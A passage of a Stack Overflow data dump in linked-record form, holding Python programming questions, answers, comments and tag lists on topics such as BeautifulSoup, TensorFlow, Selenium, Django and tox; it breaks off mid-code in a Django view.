has comment: http://stackoverflow.com/comment/81012609
tagged with: pandas
has comment: http://stackoverflow.com/comment/81010076
tagged with: errorbar
tagged with: matplotlib
linked to: http://stackoverflow.com/q/45798492
downvote count: 0

http://stackoverflow.com/q/47005212
has comment: http://stackoverflow.com/comment/80969030
has comment: http://stackoverflow.com/comment/80974511
has body: Using beautifulsoup its simple to extract a single data string from a div tag. But what if i need more results from the same div class tag? The number after "Refernece no:", Date after "date:" and the "RegistrationDate:" date? That is three strings from the same div tag "right-col". What would you reccommend? - regular expression? - possible to get more than one "sibling" using beautifulsoup? Reference no: 2017-598760 date:2017-12-15 RegistrationDate: 2017-10-29
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/47019336
answer count: 1
tagged with: web-scraping
has comment: http://stackoverflow.com/comment/80973730
favorite count: 0
tagged with: beautifulsoup
type: Question
has title: Find multiple scrape data inside the same in python and beautifulsoup
has comment: http://stackoverflow.com/comment/80956986
has comment: http://stackoverflow.com/comment/80967023
accepted answer: http://stackoverflow.com/a/47019336
tagged with: python
tagged with: regex
type: AnsweredQuestion
score: 0

ctypes
tags question: http://stackoverflow.com/q/47007186
tags question: http://stackoverflow.com/q/46982470
tags question: http://stackoverflow.com/q/47025616
tag name: ctypes
type: Tag
tags question: http://stackoverflow.com/q/46928472

http://stackoverflow.com/a/47038298
answers question: http://stackoverflow.com/q/47038101
type: Answer
has comment: http://stackoverflow.com/comment/84743564
has body: assuming your file looks like file = open(filename, "r") all you need to do is open another file with "w" as the second parameter file = open(new_file-path,"w") file.write(data) file.close() if your data is not a string, either make it a string, or use file = open(filename, "rb") file = open(filename, "wb") when reading and writing, since these read and write raw bytes
accepted answer of: http://stackoverflow.com/q/47038101
score: 3
has comment: http://stackoverflow.com/comment/87656344
upvote count: 3
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47003398
downvote count: 2
has comment: http://stackoverflow.com/comment/80953404
has answer: http://stackoverflow.com/a/47003601
upvote count: 7
has answer: http://stackoverflow.com/a/47003756
has comment: http://stackoverflow.com/comment/80953865
answer count: 6
has comment: http://stackoverflow.com/comment/80953308
has comment: http://stackoverflow.com/comment/80953384
has comment: http://stackoverflow.com/comment/80953370
has comment: http://stackoverflow.com/comment/80954042
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47003603
has comment: http://stackoverflow.com/comment/80953362
has comment: http://stackoverflow.com/comment/80953790
has comment: http://stackoverflow.com/comment/80953332
possible better answer: http://stackoverflow.com/a/47003667
accepted answer: http://stackoverflow.com/a/47003522
tagged with: python
has title: Convert a number into another according to a rule
has answer: http://stackoverflow.com/a/47003667
has answer: http://stackoverflow.com/a/47003522
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80953747
score: 5
has body: i have a sequence of numbers like: 1234 5678 778899 I want to convert them into a form where they start from the lowest number possible Example: 5678 would be 1234 778899 would be 112233 2452 would be 1231 I tried to do: index = 0 digit = 1 newCode = [] newCode.append(digit) while index != len(codice)-1: index += 1 if code[index] == code[index-1]: newCode.append(digit) else: digit += 1 newCode.append(digit) But it converts numbers like 5675 to 1234, so it doesn't work. Is there a better way to do this and what am i doing wrong?
has answer: http://stackoverflow.com/a/47003582

http://stackoverflow.com/q/47059040
has comment: http://stackoverflow.com/comment/81069813
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81071772
tagged with: python
has comment: http://stackoverflow.com/comment/81072045
has body: I wrote a python selenium automation script for extracting the data. The script works without the headless browser My concern here is when i am trying to run same automation script by adding headless browser code to my script, it is throwing error like Element Not Clickable at this point. from pyvirtualdisplay import Display display = Display(visible=0, size=(1920, 1080)) display.start() The above is the code which i tried.How to make my script to work with headless browser (Virtual Display) Thanks Guys in Advance.
answer count: 0
has title: Why virtual display doesn't work
has comment: http://stackoverflow.com/comment/81067782
has comment: http://stackoverflow.com/comment/81072190
score: 1
downvote count: 0
tagged with: selenium
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81068651
type: Question
has comment: http://stackoverflow.com/comment/81071858
has comment: http://stackoverflow.com/comment/81072987

merge
type: Tag
tags question: http://stackoverflow.com/q/46914781
tags question: http://stackoverflow.com/q/46916683
tags question: http://stackoverflow.com/q/47004905
tags question: http://stackoverflow.com/q/46971307
tags question: http://stackoverflow.com/q/46988234
tags question: http://stackoverflow.com/q/46976665
tags question: http://stackoverflow.com/q/46930575
tag name: merge
tags question: http://stackoverflow.com/q/46938512
tags question: http://stackoverflow.com/q/46917404
tags question: http://stackoverflow.com/q/47030450
tags question: http://stackoverflow.com/q/46906436
tags question: http://stackoverflow.com/q/46911814
tags question: http://stackoverflow.com/q/47061089
tags question: http://stackoverflow.com/q/46964188
tags question: http://stackoverflow.com/q/47058391

http://stackoverflow.com/comment/81519328
has text: Thanks and there is a short answer also in this link: https://github.com/fchollet/keras/issues/8301
type: AnswerComment
comment on: http://stackoverflow.com/a/47014280
score: 0
type: Comment

http://stackoverflow.com/a/47081833
accepted answer of: http://stackoverflow.com/q/46966964
has body: By keeping an angle variable to denote the direction the player is facing and using that to adapt the vector angle calculated between the two FOV vectors and the origin vector ([10, 0]) I was able to adapt the angles so it always drew the arc correctly. Each of these angles modify the angles of the FOV vectors based on whether or not the self.angle is beyond certain 45 degree points. Basically this informs when the FOV is in the lower half of the circle. Since using vectors to get the angle only works between 0 and 180 degrees, it does not consider the angles above 180 as these are just negative values between 0 and -180 which vectors do not care about. These angles only work for a fov of 90 degrees. To compensate for any fov I modified them as follows: if self.angle &gt;= 180-self.fov/2: A2 = -A2 if self.angle &gt;= 180+self.fov/2: A1 = -A1 if self.angle &lt;= self.fov/2: A1 = -A1 if self.angle &gt;= 360-self.fov/2: A2 = -A2 # if self.angle &gt;= 135: A2 = -A2 # 90 + 45 # if self.angle &gt;= 225: A1 = -A1 # 180 + 45 # if self.angle &lt;= 45: A1 = -A1 # 45 # if self.angle &gt;= 315: A2 = -A2 # 270 + 45 O_corner = self.origin - numpy.array([self.distance, self.distance]) if (self.angle &gt;= 135 and self.angle &lt; 225) or (self.angle &lt;= 45 and self.angle &gt;= 0) or (self.angle &gt;= 315 and self.angle &lt; 360): self.pygame.draw.arc(self.screen, self.color, (O_corner, (self.distance*2, self.distance*2)), math.radians(A1), math.radians(A2)) else: self.pygame.draw.arc(self.screen, self.color, (O_corner, (self.distance*2, self.distance*2)), math.radians(A2-90), math.radians(A1+90)) The code in my question has been updated and
type: Answer
answers question: http://stackoverflow.com/q/46966964
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/80882307
type: Comment
has text: `newer_make_moons` is not a function, its a tuple of numpy array. You are trying to make a function call to it.
type: QuestionComment
comment on: http://stackoverflow.com/q/46967451
score: 0

http://stackoverflow.com/q/46911896
has body: How can I retrieve a user by username rather than the primary key while using the rest frameworks ModelViewSet? Here is my current view: class UserViewSet(viewsets.ModelViewSet): queryset = User.objects.all() serializer_class = UserSerializer
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/46911979
has title: Django Rest: Retrieving by a different parameter using ModelViewSet
type: AnsweredQuestion
downvote count: 0
upvote count: 1
score: 1
answer count: 1
tagged with: django-rest-framework
accepted answer: http://stackoverflow.com/a/46911979
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/80797961
has text: How should the behavior be if df contains column not present in d or d contains column not present in df?
comment on: http://stackoverflow.com/a/46925219
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80983064
type: Comment
type: AnswerComment
has text: Thank you so much for response alfasin.
score: 0
comment on: http://stackoverflow.com/a/47007705

http://stackoverflow.com/comment/80815777
comment on: http://stackoverflow.com/q/46934333
has text: Can you provide more info on variables `variable`, `error`, `some_name`? Seems that you're not providing a string.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/80992712
type: QuestionComment
type: Comment
score: 0
has text: @MadPhysicist Good point, I assumed the first way, but they could have meant the second!
comment on: http://stackoverflow.com/q/47022641

http://stackoverflow.com/comment/81033935
score: 2
has text: Your ``Alias`` directives look wrong as well. If you have trailing slash on the sub URL, you need a trailing slash on the target directory else the target path will be constructed without the separating slash and the files will not be found.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47033711

http://stackoverflow.com/comment/81178846
type: QuestionComment
comment on: http://stackoverflow.com/q/47022703
has text: @immortal the code itself works but on 2.7 it won't pass unicode string to the DB, on 3.6 it those work
score: 0
type: Comment

http://stackoverflow.com/a/53356330
has body: You can create a new env by typing conda create -n vEnv python That will create a fresh environment. Btw this is the same as if you go into the GUI and hit the button create. So that env that you created will be placed under envs in the anaconda file available everywhere, so you can simply activate it by doing: conda activate vEnv You can check the pip and conda packages (once you activate your environment) like this: pip list conda list I hope it helps
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47057299
answers question: http://stackoverflow.com/q/47057299
type: AcceptedAnswer
type: Answer
score: 4
upvote count: 4

http://stackoverflow.com/comment/80815057
has text: That is my `tox.ini` in full. Added `requirements.txt`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46929315
score: 0

http://stackoverflow.com/q/46931868
type: Question
tagged with: nltk
type: UnansweredQuestion
score: -2
tagged with: python
tagged with: nlp
has comment: http://stackoverflow.com/comment/80810525
has body: I'd like to extract personal attributes from a text written by a person. e.g., I have always been interested in professional cycling. Being a single mother, it was never easy to find enough time to pursue a sport professionally. The best I could do was to go for short rides along Melbourne's beautiful beaches... Ideally, I'd want to extract something like cycling: interest, female: gender, sports: interest, Melbourne: location. I think this is called named entity extraction, but I'm not sure. I tried Stanford Named Entity Recognizer and it didn't give me quite what I wanted. The most important things are personal attributes, such as gender, age, interests etc. and it missed most of these on different samples. Is there any tool/library (preferably in Python) that can help me do this? I know about NLTK, but I don't know how/if I can utilize it here.
has title: Extracting personal attributes from text
has answer: http://stackoverflow.com/a/46932010
answer count: 1
downvote count: 3
tagged with: named-entity-extraction
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/80779170
comment on: http://stackoverflow.com/a/46915403
type: AnswerComment
score: 0
type: Comment
has text: oh my god, this is my way of learning any language, that's how i learned django and python

http://stackoverflow.com/q/47030529
score: 0
has body: I wrote the following snippet for writing and reading a TFRecord. The last tf.run() statement stops python from responding to anything. What is the reason for this? fn = 'tmp.tfrecord' seqs = [[1,2,3], [0,1,0]] writer = tf.python_io.TFRecordWriter(fn) for seq in seqs: ex = tf.train.Example(features= tf.train.Features(feature={'seq': tf.train.Feature(int64_list=tf.train.Int64List(value=seq))})) writer.write(ex.SerializeToString()) writer.close() # Now read the written records: filename_queue = tf.train.string_input_producer([fn]) reader = tf.TFRecordReader() key, serialized_example = reader.read(filename_queue) features = { 'seq': tf.FixedLenFeature([], dtype=tf.int64) } ex_parsed = tf.parse_single_example( serialized=serialized_example, features=features) print(ex_parsed) # -&gt; prints a tensor with tf.Session() as sess: print(sess.run([ex_parsed['seq']])) I tried including tf.train.Coordinator() in the code but could not get that to work either.
tagged with: tfrecord
answer count: 1
tagged with: tensorflow
accepted answer: http://stackoverflow.com/a/47039679
type: Question
has title: Why does reading a simple tfrecord crash python?
has answer: http://stackoverflow.com/a/47039679
tagged with: python
linked to: http://stackoverflow.com/q/38589255
type: AnsweredQuestion

http://stackoverflow.com/a/48089005
type: Answer
answers question: http://stackoverflow.com/q/46972225
score: 0
has body: I do not know if it's what you were looking for, but it sounds to me something like this. This is for linux (ubuntu) but maybe it also works on mac: If the file is a pdf called 'book.pdf' and is located in your downloads, then import subprocess path='/home/user/Downloads/book.pdf' subprocess.call(['evince', path]) where evince is the program that open pdfs in ubuntu
upvote count: 1
downvote count: 1

http://stackoverflow.com/a/47045367
type: Answer
has body: tf.argmax is not differentiable because it returns an integer index. tf.reduce_max and tf.maximum are differentiable
answers question: http://stackoverflow.com/q/46926809
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81038183
score: 0
has comment: http://stackoverflow.com/comment/130185275

http://stackoverflow.com/comment/80812699
type: Comment
has text: The second point about arrays needing to be ints is not correct. They can be float arrays [0. ... 1.] or int arrays [0 ... 255].
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46931858

http://stackoverflow.com/a/47059502
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47059080
has body: I think this is a job for else: position_information = [] with open('file1', 'rb') as f: for line in f: position_information.append(line.strip().split('\t')) for i in range(1, 11): for start, through, value in position_information: if i &gt;= int(start) and i &lt;= int(through): print value # No need to continue searching for something to print on this line break else: # We never found anything to print on this line, so print 0 instead print 0 This gives the result you're looking for: 0 Apple Apple Apple 0 Samsung Samsung 0 0 0
score: 1
downvote count: 0

http://stackoverflow.com/comment/80932381
score: 1
comment on: http://stackoverflow.com/a/46988386
type: Comment
has text: @Prm actually those are parameters that the welcome. Php need to login the user. Those parameter exist on the login page so we are taking them from them and asking welcome page to work it's logic. If you are loging in from Web browser you will need to go login page but using python you can directly pass username and password to welcome page. Same would be done when we login from browser. Login page would give these parameters to welcome page
type: AnswerComment

function
tags question: http://stackoverflow.com/q/46978919
tags question: http://stackoverflow.com/q/47023516
tags question: http://stackoverflow.com/q/46991343
tags question: http://stackoverflow.com/q/47028694
tags question: http://stackoverflow.com/q/47026332
tags question: http://stackoverflow.com/q/46996982
type: Tag
tags question: http://stackoverflow.com/q/47046578
tags question: http://stackoverflow.com/q/46943072
tags question: http://stackoverflow.com/q/46997241
tag name: function
tags question: http://stackoverflow.com/q/46917755
tags question: http://stackoverflow.com/q/46908802
tags question: http://stackoverflow.com/q/46932191
tags question: http://stackoverflow.com/q/46982724
tags question: http://stackoverflow.com/q/46978763
tags question: http://stackoverflow.com/q/46998286
tags question: http://stackoverflow.com/q/47009689
tags question: http://stackoverflow.com/q/46964490
tags question: http://stackoverflow.com/q/47034280
tags question: http://stackoverflow.com/q/46931833
tags question: http://stackoverflow.com/q/47007589
tags question: http://stackoverflow.com/q/46915044
tags question: http://stackoverflow.com/q/46998094
tags question: http://stackoverflow.com/q/46973425
tags question: http://stackoverflow.com/q/46944335
tags question: http://stackoverflow.com/q/46963774
tags question: http://stackoverflow.com/q/47044241
tags question: http://stackoverflow.com/q/47049977
tags question: http://stackoverflow.com/q/47056059
tags question: http://stackoverflow.com/q/46914250
tags question: http://stackoverflow.com/q/47037554
tags question: http://stackoverflow.com/q/47006694
tags question: http://stackoverflow.com/q/47031552
tags question: http://stackoverflow.com/q/46908231
tags question: http://stackoverflow.com/q/46995587
tags question: http://stackoverflow.com/q/46958999
tags question: http://stackoverflow.com/q/46961080
tags question: http://stackoverflow.com/q/47028021
tags question: http://stackoverflow.com/q/46916113
tags question: http://stackoverflow.com/q/47036012
tags question: http://stackoverflow.com/q/46936267
tags question: http://stackoverflow.com/q/46934279
tags question: http://stackoverflow.com/q/46973087

http://stackoverflow.com/a/46918084
accepted answer of: http://stackoverflow.com/q/46918003
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46918003
has body: You haven't declared a variable called "password". In addition, you're not passing a username variable. A more pythonic way to achieve what you want is the following. def getDetail(): accountFile = open("accounts.txt", 'r') readFile = accountFile.readline() user = readFile.split(",") username = user[0] password = user[1] return username, password username, password = getDetail()
type: Answer
score: 0

http://stackoverflow.com/q/46919695
has answer: http://stackoverflow.com/a/46919844
answer count: 2
type: UnansweredQuestion
has body: I am trying to write a program that prompts the user to enter 2 numbers, for the row and columns. Then outputs it in a grid shape by the asterisk but within a for loop. userrow = int(input("Enter the size of the row:")) usercolumn = int(input("Enter the size of the column: ")) row = 0 column = 0 for row in ('*'): print(row * userrow) for column in ('*'): print(column * usercolumn ) #gridlayout = row * column print("The grid layout is: ", row, column)
type: Question
has title: Multiplying rows by the user input?
score: 0
has comment: http://stackoverflow.com/comment/80787004
has answer: http://stackoverflow.com/a/46919811
tagged with: python

http://stackoverflow.com/a/78936397
answers question: http://stackoverflow.com/q/46920243
type: Answer
has body: For me I had to include the Service from the selenium.webdriver.chrome.service and proprly use the parameter service=Service(ChromeDriverManager().install()), from selenium import webdriver from selenium.webdriver.chrome.service import Service from webdriver_manager.chrome import ChromeDriverManager from selenium.webdriver.chrome.options import Options chrome_options = Options() # chrome_options.add_argument("--headless") chrome_options.add_argument("--window-size=1920x1080") chrome_options.add_experimental_option("prefs", { "safebrowsing.enabled": True }) driver = webdriver.Chrome( service=Service(ChromeDriverManager().install()), options=chrome_options )
score: 0

http://stackoverflow.com/a/47021379
score: 2
has body: From the code it seems like you already have a dictionary called employees, and another dictionary em_global. Currently you are constructing a list with employee details , you can change that to create a dict. Then you can add that to em_global["Employee"] which will be a list of dictionaries . Will it work for you? em_global={} em_global["Employee"] = [] def add_emp(): #Ask the user to add an employee print("Enter the employee's information:\n") #Input first and last name name = input("What is the employee's name? ").lower() #Input employee position position = input("What is their position? ").lower() #Input employee department em_department = input("What is their department? ").lower() #Input employee salary salary = float(input("What is their salary? ")) #Add information to a dictionary called employees em_list={'name':name,'position':position, 'department':em_department, 'salary':salary} # employees[name] = em_list #Add dictionary to global dictionary of all employees em_global["Employee"].append(em_list)
answers question: http://stackoverflow.com/q/47021081
upvote count: 2
downvote count: 0
type: Answer

http://stackoverflow.com/comment/80810515
type: QuestionComment
has text: Ok, now try this: df.loc[df.indiv == i,'X']=df.loc[(df.indiv==i) & (df.year == 2014),X]
score: 0
comment on: http://stackoverflow.com/q/46928752
type: Comment

http://stackoverflow.com/comment/81055744
type: Comment
comment on: http://stackoverflow.com/q/47043405
type: QuestionComment
has text: "*have edited*"? There are no edits in the post history.
score: 0

http://stackoverflow.com/a/47036698
type: Answer
upvote count: 1
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/47036355
has body: You can try this: import re import ast s = ['{\\"SrcIP\\":\\"1.1.1.1\\",\\"DstIP\\":\\"2.2.2.2\\",\\"DstPort\\":\\"80\\"}'] final_response = [ast.literal_eval(re.sub('\\\\', '', i)) for i in s][0] Output: {'SrcIP': '1.1.1.1', 'DstIP': '2.2.2.2', 'DstPort': '80'}

http://stackoverflow.com/a/46963725
type: Answer
answers question: http://stackoverflow.com/q/46929315
has body: It seems tox doesn't install additional requirements when requirements.txt that's used in tox.ini with deps = -rrequirements.txt was changed after tox has created its virtual environments. I don't now if it's a bug in tox. Either remove virtual environments (rm -rf .tox) and allow tox to recreate them with the updated requirements.txt or update existing virtual environments yourself: activate, pip install, deactivate in a loop over all virtual environments in .tox/. Something like source .tox/py27/bin/activate pip install --upgrade -r requirements.txt deactivate Upd. Seems to be an old known problem, still open and discussed. Reinstall virtualenv with tox when requirements.txt or setup.py changes
accepted answer of: http://stackoverflow.com/q/46929315
score: 2
type: AcceptedAnswer
downvote count: 0
upvote count: 2

http://stackoverflow.com/q/46916739
has answer: http://stackoverflow.com/a/46916797
has answer: http://stackoverflow.com/a/46917153
has comment: http://stackoverflow.com/comment/80781109
type: UnansweredQuestion
score: -2
has answer: http://stackoverflow.com/a/46918653
tagged with: python
answer count: 4
has title: How to use a while loop to give percentage
upvote count: 0
has body: I’m trying to make a system where, if you input a number, it tells you what grade it would be, but it doesn’t work. My code is percentage = input(“Please input a number”) if percentage == 100: Grade = (“A*”) print (“A”) elif percentage ==80: Grade = (“A”) print (“A”) elif percentage == 60: Grade = (“B”) print (“B”) elif percentage == 40: Grade = (“C”) print (“C”) else: Grade == (“D”) print (“D”) The error says NameError: name ‘grade’ is not defined Help, sorry in advance if I missed something obvious
downvote count: 2
has comment: http://stackoverflow.com/comment/80781364
has comment: http://stackoverflow.com/comment/80780818
has comment: http://stackoverflow.com/comment/80780798
has comment: http://stackoverflow.com/comment/80781252
has answer: http://stackoverflow.com/a/46917229
favorite count: 0
type: Question

http://stackoverflow.com/a/46999550
has body: No regex needed, actually: string = "crypto map OUTSIDEMAP 540 match address 3P-DC-CRYPTO" # check for address as well words = string.split() if words[-2] == 'address': last_word = words[-1] print(last_word) This checks for address and then captures the last word.
type: Answer
answers question: http://stackoverflow.com/q/46999337
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/81182118
comment on: http://stackoverflow.com/q/47031324
has text: Ok, but let me write something in there so the answer is not completely useless...
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/a/47033127
downvote count: 2
upvote count: 7
score: 5
has body: How about some regex to extract all the numbers from the string import re a = ' 1 , 2 , , , 3 ' print(re.findall(r'\d+', a)) Output: ['1', '2', '3']
type: Answer
answers question: http://stackoverflow.com/q/47033033

http://stackoverflow.com/comment/80828598
type: QuestionComment
comment on: http://stackoverflow.com/q/46940171
score: 0
type: Comment
has text: huh? JSON is a way to serialize a javascript object into a string. Are you referring to `repr()`/`__repr__()` in Python for your definition of emitting a "python literal"?

http://stackoverflow.com/q/47024877
tagged with: beautifulsoup
has comment: http://stackoverflow.com/comment/80996976
accepted answer: http://stackoverflow.com/a/47025015
has title: Change the text of the inner tag using beautifulsoup python
downvote count: 0
has comment: http://stackoverflow.com/comment/92025204
score: 13
has comment: http://stackoverflow.com/comment/80997014
tagged with: python
has body: I would like to change the inner text of a tag in HTML obtained using Beautifulsoup. Example: Foo turns into: Bar I have managed to get the tag by its id by: HTMLDocument.find(id='websiteName') But I'm not able to change the inner text of the tag: print HTMLDocument.find(id='websiteName') a = HTMLDocument.find(id='websiteName') a = a.replaceWith('Bar') // I have tried using this as well a = a.replaceWith('Bar') print a Output: Foo Foo
has comment: http://stackoverflow.com/comment/80996959
upvote count: 13
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80997035
has answer: http://stackoverflow.com/a/47025015
has comment: http://stackoverflow.com/comment/80997166
answer count: 1
has comment: http://stackoverflow.com/comment/80996982
has comment: http://stackoverflow.com/comment/80997123
has comment: http://stackoverflow.com/comment/80997039
favorite count: 0
type: Question

http://stackoverflow.com/comment/80809822
comment on: http://stackoverflow.com/a/46930585
score: 0
type: AnswerComment
type: Comment
has text: When trying tensordot() function I get a result matrix of (3, x, y) instead of (x, y, 3)

http://stackoverflow.com/q/47026057
has answer: http://stackoverflow.com/a/47041221
has comment: http://stackoverflow.com/comment/80999278
linked to: http://stackoverflow.com/q/34624428
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80999531
tagged with: java
has title: How to use a compiled java class from within python?
has body: I have a java class file which I would like to use from within my Python framework. I know of jython, but I don't want to run my whole Python code with jython, instead I would prefer to import to somehow precompile it to a python usable class, is something like this possible?
tagged with: python
accepted answer: http://stackoverflow.com/a/47041221
has comment: http://stackoverflow.com/comment/80999461
type: Question
has comment: http://stackoverflow.com/comment/80999348
has comment: http://stackoverflow.com/comment/80999915
answer count: 1

http://stackoverflow.com/q/46951406
type: Question
has comment: http://stackoverflow.com/comment/80849844
has comment: http://stackoverflow.com/comment/80851324
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80851586
accepted answer: http://stackoverflow.com/a/46952361
has comment: http://stackoverflow.com/comment/80849870
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80849774
has answer: http://stackoverflow.com/a/46952361
has body: I have a Python script to read the contents of a JSON file and import to a MongoDB. I am getting the following error from it: Traceback (most recent call last): File "/home/luke/projects/vuln_backend/vuln_backend/mongodb.py", line 39, in process_files file_content = currentFile.read() File "/home/luke/envs/vuln_backend/lib64/python3.6/codecs.py", line 321, in decode (result, consumed) = self._buffer_decode(data, self.errors, final) UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 14: invalid continuation byte This is the code: import json import logging import logging.handlers import os import glob from logging.config import fileConfig from zipfile import ZipFile from pymongo import MongoClient def process_files(): try: client = MongoClient('5.57.62.97', 27017) db = client['vuln_sets'] coll = db['vulnerabilities'] basepath = os.path.dirname(__file__) filepath = os.path.abspath(os.path.join(basepath, "..")) archive_filepath = filepath + '/vuln_files/' archive_files = glob.glob(archive_filepath + "/*.zip") for file in archive_files: with open(file, "r") as currentFile: file_content = currentFile.read() vuln_content = json.loads(file_content) for item in vuln_content: coll.insert(item) except Exception as e: logging.exception(e) I have tried setting the encoding to UTF8 and Windows-1252 but these do not seem to be able to read the JSON either. How can I get it to determine which encoding is used in the JSON?
score: 1
tagged with: http://stackoverflow.com/tag/json
has title: Python JSON encoding error
favorite count: 0

recursion
type: Tag
tags question: http://stackoverflow.com/q/47044324
tags question: http://stackoverflow.com/q/46951723
tags question: http://stackoverflow.com/q/47034429
tags question: http://stackoverflow.com/q/47008036
tags question: http://stackoverflow.com/q/47000720
tags question: http://stackoverflow.com/q/46924266
tags question: http://stackoverflow.com/q/46979663
tag name: recursion
tags question: http://stackoverflow.com/q/47045898
tags question: http://stackoverflow.com/q/46929973
tags question: http://stackoverflow.com/q/47038771
tags question: http://stackoverflow.com/q/46988463
tags question: http://stackoverflow.com/q/46965697
tags question: http://stackoverflow.com/q/46965050
tags question: http://stackoverflow.com/q/46916238
tags question: http://stackoverflow.com/q/47058503
tags question: http://stackoverflow.com/q/46963018
tags question: http://stackoverflow.com/q/46978706

http://stackoverflow.com/comment/80773609
has text: Well, it worked like a charm too! Maybe we'd correct answer just a little bit and I'd accept this as an answer
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46913101

http://stackoverflow.com/a/47037099
has body: You don't need 263-dimensions. If every dimension had only size 2, you'd still have 2 ** 263 elements, which are: 14821387422376473014217086081112052205218558037201992197050570753012880593911808 You wouldn't be able to do anything with such a matrix : not even initializing on Google servers. You either need an array with 263 values : &gt;&gt;&gt; np.zeros(263) array([ 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.]) or a matrix with 263 vectors of M elements (let's say 3): &gt;&gt;&gt; np.zeros((263, 3)) array([[ 0., 0., 0.], [ 0., 0., 0.], [ 0., 0., 0.], [ 0., 0., 0.], ... ... [ 0., 0., 0.], [ 0., 0., 0.], [ 0., 0., 0.], [ 0., 0., 0.], [ 0., 0., 0.], [ 0., 0., 0.]]) There are many advanced research centers that are perfectly happy with vanilla Numpy. Having to use less than 32 dimensions doesn't seem to bother them much for quantum mechanics or machine learning.
score: 5
answers question: http://stackoverflow.com/q/47036509
type: AcceptedAnswer
upvote count: 5
downvote count: 0
has comment: http://stackoverflow.com/comment/81020945
type: Answer
accepted answer of: http://stackoverflow.com/q/47036509

http://stackoverflow.com/a/47062463
type: Answer
score: 0
has body: your table is expecting 4 values for each row whereas you are entering only two values, that's the reason you are getting the error, so try this for (k,v), (k2,v2) in zip(total.items(), dic.items()): t.add_row([k, v, k2, v2])
answers question: http://stackoverflow.com/q/47062356

http://stackoverflow.com/comment/80961693
has text: You mean this `[df.set_index(['msno','features']).values]` ?
comment on: http://stackoverflow.com/q/47007395
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80984842
score: 0
has text: Ah I didn't notice the difference in your code. Sorry. But then how come TwoLabels class functions as I intended it to have, as its geometry is written similarly but this time with column numbers not passed?
type: AnswerComment
comment on: http://stackoverflow.com/a/47017912
type: Comment

http://stackoverflow.com/q/47027941
tagged with: python-2.7
score: 0
has body: I have two models(User and Profile). In Profile model as you can see I have idx field which I use for sorting. In my project I show list of profiles and admin can sorting them by drag and drop. For thats why I use idx. Also this field is invisible and admin dont change its value manually. Question: How edit User data by profile id. As I said before I show list of profiles. Right now I have edit form where I show user data by profile id. Problem raise when I try to submit form after changes. models.py: # -*- coding: utf-8 -*- from django.db import models from django.contrib.auth.models import User from django.dispatch import receiver from django.db.models.signals import post_save, post_delete class Profile(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE) idx = models.IntegerField(verbose_name='Field for sorting, default=0, blank=True,) class Meta: ordering = ['idx', 'pk'] db_table = 'user_profile' @receiver(post_save, sender=User) def create_or_update_user_profile(sender, instance, created, **kwargs): if created: Profile.objects.create(user=instance) instance.profile.save() @receiver(post_delete, sender=Profile) def delete_user(sender, instance=None, **kwargs): try: instance.user except User.DoesNotExist: pass else: instance.user.delete() forms.py: from django import forms from django.contrib.auth.models import User class UserForm(forms.ModelForm): class Meta: model = User fields = '__all__' views.py: class UserEditView(UpdateView): template_name = 'users/edit_user.html' form_class = UserForm model = User def get(self, request, *args, **kwargs): data = dict() profile = Profile.objects.get(pk=self.kwargs['pk']) user_edit_form = UserForm(instance=profile.user) context = { 'profile': profile, 'user_edit_form': user_edit_form } data['html_user_edit_form'] = render_to_string( 